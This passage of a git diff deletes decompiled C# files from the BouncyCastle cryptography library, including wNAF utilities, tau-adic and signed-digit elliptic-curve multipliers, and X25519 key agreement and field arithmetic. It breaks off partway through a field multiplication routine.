readonly WNafPreCompInfo m_wnafPreCompP; - - private readonly bool m_includeNegated; - - private readonly ECPointMap m_pointMap; - - internal MapPointCallback(WNafPreCompInfo wnafPreCompP, bool includeNegated, ECPointMap pointMap) - { - m_wnafPreCompP = wnafPreCompP; - m_includeNegated = includeNegated; - m_pointMap = pointMap; - } - - public PreCompInfo Precompute(PreCompInfo existing) - { - WNafPreCompInfo wNafPreCompInfo = new WNafPreCompInfo(); - ECPoint twice = m_wnafPreCompP.Twice; - if (twice != null) - { - ECPoint twice2 = m_pointMap.Map(twice); - wNafPreCompInfo.Twice = twice2; - } - ECPoint[] preComp = m_wnafPreCompP.PreComp; - ECPoint[] array = new ECPoint[preComp.Length]; - for (int i = 0; i < preComp.Length; i++) - { - array[i] = m_pointMap.Map(preComp[i]); - } - wNafPreCompInfo.PreComp = array; - if (m_includeNegated) - { - ECPoint[] array2 = new ECPoint[array.Length]; - for (int j = 0; j < array2.Length; j++) - { - array2[j] = array[j].Negate(); - } - wNafPreCompInfo.PreCompNeg = array2; - } - return wNafPreCompInfo; - } - } - - private class WNafCallback : IPreCompCallback - { - private readonly ECPoint m_p; - - private readonly int m_width; - - private readonly bool m_includeNegated; - - internal WNafCallback(ECPoint p, int width, bool includeNegated) - { - m_p = p; - m_width = width; - m_includeNegated = includeNegated; - } - - public PreCompInfo Precompute(PreCompInfo existing) - { - WNafPreCompInfo wNafPreCompInfo = existing as WNafPreCompInfo; - int num = 1 << System.Math.Max(0, m_width - 2); - if (CheckExisting(wNafPreCompInfo, num, m_includeNegated)) - { - return wNafPreCompInfo; - } - ECCurve curve = m_p.Curve; - ECPoint[] array = null; - ECPoint[] array2 = null; - ECPoint eCPoint = null; - if (wNafPreCompInfo != null) - { - array = wNafPreCompInfo.PreComp; - array2 = wNafPreCompInfo.PreCompNeg; - eCPoint = wNafPreCompInfo.Twice; - } - int num2 = 0; - if (array == null) - { - array = EMPTY_POINTS; - } - else - { - num2 = array.Length; - } - if (num2 < num) - { - array = ResizeTable(array, num); - if (num == 1) - { - array[0] = m_p.Normalize(); - } - else - { - int num3 = num2; - if (num3 == 0) - { - array[0] = m_p; - num3 = 1; - } - ECFieldElement eCFieldElement = null; - if (num == 2) - { - array[1] = m_p.ThreeTimes(); - } - else - { - ECPoint eCPoint2 = eCPoint; - ECPoint eCPoint3 = array[num3 - 1]; - if (eCPoint2 == null) - { - eCPoint2 = array[0].Twice(); - eCPoint = eCPoint2; - if (!eCPoint.IsInfinity && ECAlgorithms.IsFpCurve(curve) && curve.FieldSize >= 64) - { - switch (curve.CoordinateSystem) - { - case 2: - case 3: - case 4: - { - eCFieldElement = eCPoint.GetZCoord(0); - eCPoint2 = curve.CreatePoint(eCPoint.XCoord.ToBigInteger(), eCPoint.YCoord.ToBigInteger()); - ECFieldElement eCFieldElement2 = eCFieldElement.Square(); - ECFieldElement scale = eCFieldElement2.Multiply(eCFieldElement); - eCPoint3 = eCPoint3.ScaleX(eCFieldElement2).ScaleY(scale); - if (num2 == 0) - { - array[0] = eCPoint3; - } - break; - } - } - } - } - while (num3 < num) - { - eCPoint3 = (array[num3++] = eCPoint3.Add(eCPoint2)); - } - } - curve.NormalizeAll(array, num2, num - num2, eCFieldElement); - } - } - if (m_includeNegated) - { - int i; - if (array2 == null) - { - i = 0; - array2 = new ECPoint[num]; - } - else - { - i = array2.Length; - if (i < num) - { - array2 = ResizeTable(array2, num); - } - } - for (; i < num; i++) - { - array2[i] = array[i].Negate(); - } - } - WNafPreCompInfo wNafPreCompInfo2 = new WNafPreCompInfo(); - wNafPreCompInfo2.PreComp = array; - wNafPreCompInfo2.PreCompNeg = array2; - wNafPreCompInfo2.Twice = eCPoint; - return wNafPreCompInfo2; - } - - private bool CheckExisting(WNafPreCompInfo existingWNaf, int reqPreCompLen, bool includeNegated) - { - if (existingWNaf != null && CheckTable(existingWNaf.PreComp, reqPreCompLen)) - { - if (includeNegated) - { - return CheckTable(existingWNaf.PreCompNeg, reqPreCompLen); - } - return true; - } - return false; - } - - private bool CheckTable(ECPoint[] table, int reqLen) - { - if (table != null) - { - return table.Length >= reqLen; - } - return false; - } - } - - public static readonly string PRECOMP_NAME = "bc_wnaf"; - - private static readonly int[] DEFAULT_WINDOW_SIZE_CUTOFFS = new int[6] { 13, 41, 121, 337, 897, 2305 }; - - private static readonly ECPoint[] EMPTY_POINTS = new ECPoint[0]; - - public static int[] GenerateCompactNaf(BigInteger k) - { - if (k.BitLength >> 16 != 0) - { - throw new ArgumentException("must have bitlength < 2^16", "k"); - } - if (k.SignValue == 0) - { - return Arrays.EmptyInts; - } - BigInteger bigInteger = k.ShiftLeft(1).Add(k); - int bitLength = bigInteger.BitLength; - int[] array = new int[bitLength >> 1]; - BigInteger bigInteger2 = bigInteger.Xor(k); - int num = bitLength - 1; - int num2 = 0; - int num3 = 0; - for (int i = 1; i < num; i++) - { - if (!bigInteger2.TestBit(i)) - { - num3++; - continue; - } - int num4 = ((!k.TestBit(i)) ? 1 : (-1)); - array[num2++] = (num4 << 16) | num3; - num3 = 1; - i++; - } - array[num2++] = 0x10000 | num3; - if (array.Length > num2) - { - array = Trim(array, num2); - } - return array; - } - - public static int[] GenerateCompactWindowNaf(int width, BigInteger k) - { - switch (width) - { - case 2: - return GenerateCompactNaf(k); - default: - throw new ArgumentException("must be in the range [2, 16]", "width"); - case 3: - case 4: - case 5: - case 6: - case 7: - case 8: - case 9: - case 10: - case 11: - case 12: - case 13: - case 14: - case 15: - case 16: - { - if (k.BitLength >> 16 != 0) - { - throw new ArgumentException("must have bitlength < 2^16", "k"); - } - if (k.SignValue == 0) - { - return Arrays.EmptyInts; - } - int[] array = new int[k.BitLength / width + 1]; - int num = 1 << width; - int num2 = num - 1; - int num3 = num >> 1; - bool flag = false; - int num4 = 0; - int num5 = 0; - while (num5 <= k.BitLength) - { - if (k.TestBit(num5) == flag) - { - num5++; - continue; - } - k = k.ShiftRight(num5); - int num6 = k.IntValue & num2; - if (flag) - { - num6++; - } - flag = (num6 & num3) != 0; - if (flag) - { - num6 -= num; - } - int num7 = ((num4 > 0) ? (num5 - 1) : num5); - array[num4++] = (num6 << 16) | num7; - num5 = width; - } - if (array.Length > num4) - { - array = Trim(array, num4); - } - return array; - } - } - } - - public static byte[] GenerateJsf(BigInteger g, BigInteger h) - { - int num = System.Math.Max(g.BitLength, h.BitLength) + 1; - byte[] array = new byte[num]; - BigInteger bigInteger = g; - BigInteger bigInteger2 = h; - int num2 = 0; - int num3 = 0; - int num4 = 0; - int num5 = 0; - while ((num3 | num4) != 0 || bigInteger.BitLength > num5 || bigInteger2.BitLength > num5) - { - int num6 = ((bigInteger.IntValue >>> num5) + num3) & 7; - int num7 = ((bigInteger2.IntValue >>> num5) + num4) & 7; - int num8 = num6 & 1; - if (num8 != 0) - { - num8 -= num6 & 2; - if (num6 + num8 == 4 && (num7 & 3) == 2) - { - num8 = -num8; - } - } - int num9 = num7 & 1; - if (num9 != 0) - { - num9 -= num7 & 2; - if (num7 + num9 == 4 && (num6 & 3) == 2) - { - num9 = -num9; - } - } - if (num3 << 1 == 1 + num8) - { - num3 ^= 1; - } - if (num4 << 1 == 1 + num9) - { - num4 ^= 1; - } - if (++num5 == 30) - { - num5 = 0; - bigInteger = bigInteger.ShiftRight(30); - bigInteger2 = bigInteger2.ShiftRight(30); - } - array[num2++] = (byte)((num8 << 4) | (num9 & 0xF)); - } - if (array.Length > num2) - { - array = Trim(array, num2); - } - return array; - } - - public static byte[] GenerateNaf(BigInteger k) - { - if (k.SignValue == 0) - { - return Arrays.EmptyBytes; - } - BigInteger bigInteger = k.ShiftLeft(1).Add(k); - int num = bigInteger.BitLength - 1; - byte[] array = new byte[num]; - BigInteger bigInteger2 = bigInteger.Xor(k); - for (int i = 1; i < num; i++) - { - if (bigInteger2.TestBit(i)) - { - array[i - 1] = (byte)((!k.TestBit(i)) ? 1u : uint.MaxValue); - i++; - } - } - array[num - 1] = 1; - return array; - } - - public static byte[] GenerateWindowNaf(int width, BigInteger k) - { - switch (width) - { - case 2: - return GenerateNaf(k); - default: - throw new ArgumentException("must be in the range [2, 8]", "width"); - case 3: - case 4: - case 5: - case 6: - case 7: - case 8: - { - if (k.SignValue == 0) - { - return Arrays.EmptyBytes; - } - byte[] array = new byte[k.BitLength + 1]; - int num = 1 << width; - int num2 = num - 1; - int num3 = num >> 1; - bool flag = false; - int num4 = 0; - int num5 = 0; - while (num5 <= k.BitLength) - { - if (k.TestBit(num5) == flag) - { - num5++; - continue; - } - k = k.ShiftRight(num5); - int num6 = k.IntValue & num2; - if (flag) - { - num6++; - } - flag = (num6 & num3) != 0; - if (flag) - { - num6 -= num; - } - num4 += ((num4 > 0) ? (num5 - 1) : num5); - array[num4++] = (byte)num6; - num5 = width; - } - if (array.Length > num4) - { - array = Trim(array, num4); - } - return array; - } - } - } - - public static int GetNafWeight(BigInteger k) - { - if (k.SignValue == 0) - { - return 0; - } - BigInteger bigInteger = k.ShiftLeft(1).Add(k); - BigInteger bigInteger2 = bigInteger.Xor(k); - return bigInteger2.BitCount; - } - - public static WNafPreCompInfo GetWNafPreCompInfo(ECPoint p) - { - return GetWNafPreCompInfo(p.Curve.GetPreCompInfo(p, PRECOMP_NAME)); - } - - public static WNafPreCompInfo GetWNafPreCompInfo(PreCompInfo preCompInfo) - { - return preCompInfo as WNafPreCompInfo; - } - - public static int GetWindowSize(int bits) - { - return GetWindowSize(bits, DEFAULT_WINDOW_SIZE_CUTOFFS); - } - - public static int GetWindowSize(int bits, int[] windowSizeCutoffs) - { - int i; - for (i = 0; i < windowSizeCutoffs.Length && bits >= windowSizeCutoffs[i]; i++) - { - } - return i + 2; - } - - public static ECPoint MapPointWithPrecomp(ECPoint p, int width, bool includeNegated, ECPointMap pointMap) - { - ECCurve curve = p.Curve; - WNafPreCompInfo wnafPreCompP = Precompute(p, width, includeNegated); - ECPoint eCPoint = pointMap.Map(p); - curve.Precompute(eCPoint, PRECOMP_NAME, new MapPointCallback(wnafPreCompP, includeNegated, pointMap)); - return eCPoint; - } - - public static WNafPreCompInfo Precompute(ECPoint p, int width, bool includeNegated) - { - return (WNafPreCompInfo)p.Curve.Precompute(p, PRECOMP_NAME, new WNafCallback(p, width, includeNegated)); - } - - private static byte[] Trim(byte[] a, int length) - { - byte[] array = new byte[length]; - Array.Copy(a, 0, array, 0, array.Length); - return array; - } - - private static int[] Trim(int[] a, int length) - { - int[] array = new int[length]; - Array.Copy(a, 0, array, 0, array.Length); - return array; - } - - private static ECPoint[] ResizeTable(ECPoint[] a, int length) - { - ECPoint[] array = new ECPoint[length]; - Array.Copy(a, 0, array, 0, a.Length); - return array; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/WTauNafMultiplier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/WTauNafMultiplier.cs deleted file mode 100644 index 264526b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/WTauNafMultiplier.cs +++ /dev/null @@ -1,90 +0,0 @@ -using System; -using Org.BouncyCastle.Math.EC.Abc; - -namespace Org.BouncyCastle.Math.EC.Multiplier; - -public class WTauNafMultiplier : AbstractECMultiplier -{ - private class WTauNafCallback : IPreCompCallback - { - private readonly AbstractF2mPoint m_p; - - private readonly sbyte m_a; - - internal WTauNafCallback(AbstractF2mPoint p, sbyte a) - { - m_p = p; - m_a = a; - } - - public PreCompInfo Precompute(PreCompInfo existing) - { - if (existing is WTauNafPreCompInfo) - { - return existing; - } - WTauNafPreCompInfo wTauNafPreCompInfo = new WTauNafPreCompInfo(); - wTauNafPreCompInfo.PreComp = Tnaf.GetPreComp(m_p, m_a); - return wTauNafPreCompInfo; - } - } - - internal static readonly string PRECOMP_NAME = "bc_wtnaf"; - - protected override ECPoint MultiplyPositive(ECPoint point, BigInteger k) - { - if (!(point is AbstractF2mPoint)) - { - throw new ArgumentException("Only AbstractF2mPoint can be used in WTauNafMultiplier"); - } - AbstractF2mPoint abstractF2mPoint = (AbstractF2mPoint)point; - AbstractF2mCurve abstractF2mCurve = (AbstractF2mCurve)abstractF2mPoint.Curve; - int fieldSize = abstractF2mCurve.FieldSize; - sbyte b = (sbyte)abstractF2mCurve.A.ToBigInteger().IntValue; - sbyte mu = Tnaf.GetMu(b); - BigInteger[] si = abstractF2mCurve.GetSi(); - ZTauElement lambda = Tnaf.PartModReduction(k, fieldSize, b, si, mu, 10); - return MultiplyWTnaf(abstractF2mPoint, lambda, b, mu); - } - - private AbstractF2mPoint MultiplyWTnaf(AbstractF2mPoint p, ZTauElement lambda, sbyte a, sbyte mu) - { - ZTauElement[] alpha = ((a == 0) ? Tnaf.Alpha0 : Tnaf.Alpha1); - BigInteger tw = Tnaf.GetTw(mu, 4); - sbyte[] u = Tnaf.TauAdicWNaf(mu, lambda, 4, BigInteger.ValueOf(16L), tw, alpha); - return MultiplyFromWTnaf(p, u); - } - - private static AbstractF2mPoint MultiplyFromWTnaf(AbstractF2mPoint p, sbyte[] u) - { - AbstractF2mCurve abstractF2mCurve = (AbstractF2mCurve)p.Curve; - sbyte a = (sbyte)abstractF2mCurve.A.ToBigInteger().IntValue; - WTauNafCallback callback = new WTauNafCallback(p, a); - WTauNafPreCompInfo wTauNafPreCompInfo = (WTauNafPreCompInfo)abstractF2mCurve.Precompute(p, PRECOMP_NAME, callback); - AbstractF2mPoint[] preComp = wTauNafPreCompInfo.PreComp; - AbstractF2mPoint[] array = new AbstractF2mPoint[preComp.Length]; - for (int i = 0; i < preComp.Length; i++) - { - array[i] = (AbstractF2mPoint)preComp[i].Negate(); - } - AbstractF2mPoint abstractF2mPoint = (AbstractF2mPoint)p.Curve.Infinity; - int num = 0; - for (int num2 = u.Length - 1; num2 >= 0; num2--) - { - num++; - int num3 = u[num2]; - if (num3 != 0) - { - abstractF2mPoint = abstractF2mPoint.TauPow(num); - num = 0; - ECPoint b = ((num3 > 0) ? preComp[num3 >> 1] : array[-num3 >> 1]); - abstractF2mPoint = (AbstractF2mPoint)abstractF2mPoint.Add(b); - } - } - if (num > 0) - { - abstractF2mPoint = abstractF2mPoint.TauPow(num); - } - return abstractF2mPoint; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/WTauNafPreCompInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/WTauNafPreCompInfo.cs deleted file mode 100644 index 402f4bf..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/WTauNafPreCompInfo.cs +++ /dev/null @@ -1,18 +0,0 @@ -namespace Org.BouncyCastle.Math.EC.Multiplier; - -public class WTauNafPreCompInfo : PreCompInfo -{ - protected AbstractF2mPoint[] m_preComp; - - public virtual AbstractF2mPoint[] PreComp - { - get - { - return m_preComp; - } - set - { - m_preComp = value; - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/ZSignedDigitL2RMultiplier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/ZSignedDigitL2RMultiplier.cs deleted file mode 100644 index 45962e3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/ZSignedDigitL2RMultiplier.cs +++ /dev/null @@ -1,19 +0,0 @@ -namespace Org.BouncyCastle.Math.EC.Multiplier; - -public class ZSignedDigitL2RMultiplier : AbstractECMultiplier -{ - protected override ECPoint MultiplyPositive(ECPoint p, BigInteger k) - { - ECPoint eCPoint = p.Normalize(); - ECPoint eCPoint2 = eCPoint.Negate(); - ECPoint eCPoint3 = eCPoint; - int bitLength = k.BitLength; - int lowestSetBit = k.GetLowestSetBit(); - int num = bitLength; - while (--num > lowestSetBit) - { - eCPoint3 = eCPoint3.TwicePlus(k.TestBit(num) ? eCPoint : eCPoint2); - } - return eCPoint3.TimesPow2(lowestSetBit); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/ZSignedDigitR2LMultiplier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/ZSignedDigitR2LMultiplier.cs deleted file mode 100644 index 11fbd51..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Multiplier/ZSignedDigitR2LMultiplier.cs +++ /dev/null @@ -1,20 +0,0 @@ -namespace Org.BouncyCastle.Math.EC.Multiplier; - -public class ZSignedDigitR2LMultiplier : AbstractECMultiplier -{ - protected override ECPoint MultiplyPositive(ECPoint p, BigInteger k) - { - ECPoint eCPoint = p.Curve.Infinity; - ECPoint eCPoint2 = p; - int bitLength = k.BitLength; - int lowestSetBit = k.GetLowestSetBit(); - eCPoint2 = eCPoint2.TimesPow2(lowestSetBit); - int num = lowestSetBit; - while (++num < bitLength) - { - eCPoint = eCPoint.Add(k.TestBit(num) ? eCPoint2 : eCPoint2.Negate()); - eCPoint2 = eCPoint2.Twice(); - } - return eCPoint.Add(eCPoint2); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Rfc7748/X25519.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Rfc7748/X25519.cs deleted file mode 100644 index b6f9994..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Rfc7748/X25519.cs +++ /dev/null @@ -1,141 +0,0 @@ -using Org.BouncyCastle.Math.EC.Rfc8032; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC.Rfc7748; - -public abstract class X25519 -{ - public const int PointSize = 32; - - public const int ScalarSize = 32; - - private const int C_A = 486662; - - private const int C_A24 = 121666; - - public static bool CalculateAgreement(byte[] k, int kOff, byte[] u, int uOff, byte[] r, int rOff) - { - ScalarMult(k, kOff, u, uOff, r, rOff); - return !Arrays.AreAllZeroes(r, rOff, 32); - } - - private static uint Decode32(byte[] bs, int off) - { - uint num = bs[off]; - num |= (uint)(bs[++off] << 8); - num |= (uint)(bs[++off] << 16); - return num | (uint)(bs[++off] << 24); - } - - private static void DecodeScalar(byte[] k, int kOff, uint[] n) - { - for (int i = 0; i < 8; i++) - { - n[i] = Decode32(k, kOff + i * 4); - } - uint[] array; - (array = n)[0] = array[0] & 0xFFFFFFF8u; - (array = n)[7] = array[7] & 0x7FFFFFFF; - (array = n)[7] = array[7] | 0x40000000; - } - - public static void GeneratePrivateKey(SecureRandom random, byte[] k) - { - random.NextBytes(k); - byte[] array; - (array = k)[0] = (byte)(array[0] & 0xF8); - (array = k)[31] = (byte)(array[31] & 0x7F); - (array = k)[31] = (byte)(array[31] | 0x40); - } - - public static void GeneratePublicKey(byte[] k, int kOff, byte[] r, int rOff) - { - ScalarMultBase(k, kOff, r, rOff); - } - - private static void PointDouble(int[] x, int[] z) - { - int[] array = X25519Field.Create(); - int[] array2 = X25519Field.Create(); - X25519Field.Apm(x, z, array, array2); - X25519Field.Sqr(array, array); - X25519Field.Sqr(array2, array2); - X25519Field.Mul(array, array2, x); - X25519Field.Sub(array, array2, array); - X25519Field.Mul(array, 121666, z); - X25519Field.Add(z, array2, z); - X25519Field.Mul(z, array, z); - } - - public static void Precompute() - { - Ed25519.Precompute(); - } - - public static void ScalarMult(byte[] k, int kOff, byte[] u, int uOff, byte[] r, int rOff) - { - uint[] array = new uint[8]; - DecodeScalar(k, kOff, array); - int[] array2 = X25519Field.Create(); - X25519Field.Decode(u, uOff, array2); - int[] array3 = X25519Field.Create(); - X25519Field.Copy(array2, 0, array3, 0); - int[] array4 = X25519Field.Create(); - array4[0] = 1; - int[] array5 = X25519Field.Create(); - array5[0] = 1; - int[] array6 = X25519Field.Create(); - int[] array7 = X25519Field.Create(); - int[] array8 = X25519Field.Create(); - int num = 254; - int num2 = 1; - do - { - X25519Field.Apm(array5, array6, array7, array5); - X25519Field.Apm(array3, array4, array6, array3); - X25519Field.Mul(array7, array3, array7); - X25519Field.Mul(array5, array6, array5); - X25519Field.Sqr(array6, array6); - X25519Field.Sqr(array3, array3); - X25519Field.Sub(array6, array3, array8); - X25519Field.Mul(array8, 121666, array4); - X25519Field.Add(array4, array3, array4); - X25519Field.Mul(array4, array8, array4); - X25519Field.Mul(array3, array6, array3); - X25519Field.Apm(array7, array5, array5, array6); - X25519Field.Sqr(array5, array5); - X25519Field.Sqr(array6, array6); - X25519Field.Mul(array6, array2, array6); - num--; - int num3 = num >> 5; - int num4 = num & 0x1F; - int num5 = (int)((array[num3] >> num4) & 1); - num2 ^= num5; - X25519Field.CSwap(num2, array3, array5); - X25519Field.CSwap(num2, array4, array6); - num2 = num5; - } - while (num >= 3); - for (int i = 0; i < 3; i++) - { - PointDouble(array3, array4); - } - X25519Field.Inv(array4, array4); - X25519Field.Mul(array3, array4, array3); - X25519Field.Normalize(array3); - X25519Field.Encode(array3, r, rOff); - } - - public static void ScalarMultBase(byte[] k, int kOff, byte[] r, int rOff) - { - int[] array = X25519Field.Create(); - int[] array2 = X25519Field.Create(); - Ed25519.ScalarMultBaseYZ(k, kOff, array, array2); - X25519Field.Apm(array2, array, array, array2); - X25519Field.Inv(array2, array2); - X25519Field.Mul(array, array2, array); - X25519Field.Normalize(array); - X25519Field.Encode(array, r, rOff); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Rfc7748/X25519Field.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Rfc7748/X25519Field.cs deleted file mode 100644 index 8158ef5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Rfc7748/X25519Field.cs +++ /dev/null @@ -1,651 +0,0 @@ -namespace Org.BouncyCastle.Math.EC.Rfc7748; - -public abstract class X25519Field -{ - public const int Size = 10; - - private const int M24 = 16777215; - - private const int M25 = 33554431; - - private const int M26 = 67108863; - - private static readonly int[] RootNegOne = new int[10] { 34513072, 59165138, 4688974, 3500415, 6194736, 33281959, 54535759, 32551604, 163342, 5703241 }; - - private X25519Field() - { - } - - public static void Add(int[] x, int[] y, int[] z) - { - for (int i = 0; i < 10; i++) - { - z[i] = x[i] + y[i]; - } - } - - public static void AddOne(int[] z) - { - int[] array; - (array = z)[0] = array[0] + 1; - } - - public static void AddOne(int[] z, int zOff) - { - int[] array2; - int[] array = (array2 = z); - nint num = zOff; - array[zOff] = array2[num] + 1; - } - - public static void Apm(int[] x, int[] y, int[] zp, int[] zm) - { - for (int i = 0; i < 10; i++) - { - int num = x[i]; - int num2 = y[i]; - zp[i] = num + num2; - zm[i] = num - num2; - } - } - - public static void Carry(int[] z) - { - int num = z[0]; - int num2 = z[1]; - int num3 = z[2]; - int num4 = z[3]; - int num5 = z[4]; - int num6 = z[5]; - int num7 = z[6]; - int num8 = z[7]; - int num9 = z[8]; - int num10 = z[9]; - num4 += num3 >> 25; - num3 &= 0x1FFFFFF; - num6 += num5 >> 25; - num5 &= 0x1FFFFFF; - num9 += num8 >> 25; - num8 &= 0x1FFFFFF; - num += (num10 >> 25) * 38; - num10 &= 0x1FFFFFF; - num2 += num >> 26; - num &= 0x3FFFFFF; - num7 += num6 >> 26; - num6 &= 0x3FFFFFF; - num3 += num2 >> 26; - num2 &= 0x3FFFFFF; - num5 += num4 >> 26; - num4 &= 0x3FFFFFF; - num8 += num7 >> 26; - num7 &= 0x3FFFFFF; - num10 += num9 >> 26; - num9 &= 0x3FFFFFF; - z[0] = num; - z[1] = num2; - z[2] = num3; - z[3] = num4; - z[4] = num5; - z[5] = num6; - z[6] = num7; - z[7] = num8; - z[8] = num9; - z[9] = num10; - } - - public static void CNegate(int negate, int[] z) - { - int num = -negate; - for (int i = 0; i < 10; i++) - { - z[i] = (z[i] ^ num) - num; - } - } - - public static void Copy(int[] x, int xOff, int[] z, int zOff) - { - for (int i = 0; i < 10; i++) - { - z[zOff + i] = x[xOff + i]; - } - } - - public static int[] Create() - { - return new int[10]; - } - - public static int[] CreateTable(int n) - { - return new int[10 * n]; - } - - public static void CSwap(int swap, int[] a, int[] b) - { - int num = -swap; - for (int i = 0; i < 10; i++) - { - int num2 = a[i]; - int num3 = b[i]; - int num4 = num & (num2 ^ num3); - a[i] = num2 ^ num4; - b[i] = num3 ^ num4; - } - } - - public static void Decode(byte[] x, int xOff, int[] z) - { - Decode128(x, xOff, z, 0); - Decode128(x, xOff + 16, z, 5); - int[] array; - (array = z)[9] = array[9] & 0xFFFFFF; - } - - private static void Decode128(byte[] bs, int off, int[] z, int zOff) - { - uint num = Decode32(bs, off); - uint num2 = Decode32(bs, off + 4); - uint num3 = Decode32(bs, off + 8); - uint num4 = Decode32(bs, off + 12); - z[zOff] = (int)(num & 0x3FFFFFF); - z[zOff + 1] = (int)(((num2 << 6) | (num >> 26)) & 0x3FFFFFF); - z[zOff + 2] = (int)(((num3 << 12) | (num2 >> 20)) & 0x1FFFFFF); - z[zOff + 3] = (int)(((num4 << 19) | (num3 >> 13)) & 0x3FFFFFF); - z[zOff + 4] = (int)(num4 >> 7); - } - - private static uint Decode32(byte[] bs, int off) - { - uint num = bs[off]; - num |= (uint)(bs[++off] << 8); - num |= (uint)(bs[++off] << 16); - return num | (uint)(bs[++off] << 24); - } - - public static void Encode(int[] x, byte[] z, int zOff) - { - Encode128(x, 0, z, zOff); - Encode128(x, 5, z, zOff + 16); - } - - private static void Encode128(int[] x, int xOff, byte[] bs, int off) - { - uint num = (uint)x[xOff]; - uint num2 = (uint)x[xOff + 1]; - uint num3 = (uint)x[xOff + 2]; - uint num4 = (uint)x[xOff + 3]; - uint num5 = (uint)x[xOff + 4]; - uint n = num | (num2 << 26); - Encode32(n, bs, off); - uint n2 = (num2 >> 6) | (num3 << 20); - Encode32(n2, bs, off + 4); - uint n3 = (num3 >> 12) | (num4 << 13); - Encode32(n3, bs, off + 8); - uint n4 = (num4 >> 19) | (num5 << 7); - Encode32(n4, bs, off + 12); - } - - private static void Encode32(uint n, byte[] bs, int off) - { - bs[off] = (byte)n; - bs[++off] = (byte)(n >> 8); - bs[++off] = (byte)(n >> 16); - bs[++off] = (byte)(n >> 24); - } - - public static void Inv(int[] x, int[] z) - { - int[] array = Create(); - int[] array2 = Create(); - PowPm5d8(x, array, array2); - Sqr(array2, 3, array2); - Mul(array2, array, z); - } - - public static bool IsZeroVar(int[] x) - { - int num = 0; - for (int i = 0; i < 10; i++) - { - num |= x[i]; - } - return num == 0; - } - - public static void Mul(int[] x, int y, int[] z) - { - int num = x[0]; - int num2 = x[1]; - int num3 = x[2]; - int num4 = x[3]; - int num5 = x[4]; - int num6 = x[5]; - int num7 = x[6]; - int num8 = x[7]; - int num9 = x[8]; - int num10 = x[9]; - long num11 = (long)num3 * (long)y; - num3 = (int)num11 & 0x1FFFFFF; - num11 >>= 25; - long num12 = (long)num5 * (long)y; - num5 = (int)num12 & 0x1FFFFFF; - num12 >>= 25; - long num13 = (long)num8 * (long)y; - num8 = (int)num13 & 0x1FFFFFF; - num13 >>= 25; - long num14 = (long)num10 * (long)y; - num10 = (int)num14 & 0x1FFFFFF; - num14 >>= 25; - num14 *= 38; - num14 += (long)num * (long)y; - z[0] = (int)num14 & 0x3FFFFFF; - num14 >>= 26; - num12 += (long)num6 * (long)y; - z[5] = (int)num12 & 0x3FFFFFF; - num12 >>= 26; - num14 += (long)num2 * (long)y; - z[1] = (int)num14 & 0x3FFFFFF; - num14 >>= 26; - num11 += (long)num4 * (long)y; - z[3] = (int)num11 & 0x3FFFFFF; - num11 >>= 26; - num12 += (long)num7 * (long)y; - z[6] = (int)num12 & 0x3FFFFFF; - num12 >>= 26; - num13 += (long)num9 * (long)y; - z[8] = (int)num13 & 0x3FFFFFF; - num13 >>= 26; - z[2] = num3 + (int)num14; - z[4] = num5 + (int)num11; - z[7] = num8 + (int)num12; - z[9] = num10 + (int)num13; - } - - public static void Mul(int[] x, int[] y, int[] z) - { - int num = x[0]; - int num2 = y[0]; - int num3 = x[1]; - int num4 = y[1]; - int num5 = x[2]; - int num6 = y[2]; - int num7 = x[3]; - int num8 = y[3]; - int num9 = x[4]; - int num10 = y[4]; - int num11 = x[5]; - int num12 = y[5]; - int num13 = x[6]; - int num14 = y[6]; - int num15 = x[7]; - int num16 = y[7]; - int num17 = x[8]; - int num18 = y[8]; - int num19 = x[9]; - int num20 = y[9]; - long num21 = (long)num * (long)num2; - long num22 = (long)num * (long)num4 + (long)num3 * (long)num2; - long num23 = (long)num * (long)num6 + (long)num3 * (long)num4 + (long)num5 * (long)num2; - long num24 = (long)num3 * (long)num6 + (long)num5 * (long)num4; - num24 <<= 1; - num24 += (long)num * (long)num8 + (long)num7 * (long)num2; - long num25 = (long)num5 * (long)num6; - num25 <<= 1; - num25 += (long)num * (long)num10 + (long)num3 * (long)num8 + (long)num7 * (long)num4 + (long)num9 * (long)num2; - long num26 = (long)num3 * (long)num10 + (long)num5 * (long)num8 + (long)num7 * (long)num6 + (long)num9 * (long)num4; - num26 <<= 1; - long num27 = (long)num5 * (long)num10 + (long)num9 * (long)num6; - num27 <<= 1; - num27 += (long)num7 * (long)num8; - long num28 = (long)num7 * (long)num10 + (long)num9 * (long)num8; - long num29 = (long)num9 * (long)num10; - num29 <<= 1; - long num30 = (long)num11 * (long)num12; - long num31 = (long)num11 * (long)num14 + (long)num13 * (long)num12; - long num32 = (long)num11 * (long)num16 + (long)num13 * (long)num14 + (long)num15 * (long)num12; - long num33 = (long)num13 * (long)num16 + (long)num15 * (long)num14; - num33 <<= 1; - num33 += (long)num11 * (long)num18 + (long)num17 * 